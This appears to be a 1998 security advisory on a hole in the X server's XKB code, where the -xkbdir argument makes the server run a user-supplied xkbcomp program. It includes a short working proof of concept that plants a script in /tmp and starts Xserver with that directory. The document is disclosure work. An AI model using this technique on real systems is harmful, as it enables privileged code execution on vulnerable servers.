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kinit
1998 Feb 03
0
serious security problem in XKB
...user supplied instance of xkbcomp is invoked
-xkbdir argument is used to build the path to the compiler
$ cat > /tmp/xkbcomp
#!/bin/sh
id > /tmp/I_WAS_HERE
[ctrl+d]
$ chmod a+x /tmp/xkbcomp
$ Xserver -xkbdir /tmp
[X server executes /tmp/xkbcomp]
Further reading:
xc/programs/Xserver/xkb/xkbInit.c
xc/programs/Xserver/xkb/ddxLoad.c
xc/programs/Xserver/xkb/ddxList.c
--Pavel Kankovsky aka Peak [ Boycott Microsoft -- http://www.vcnet.com/bms ]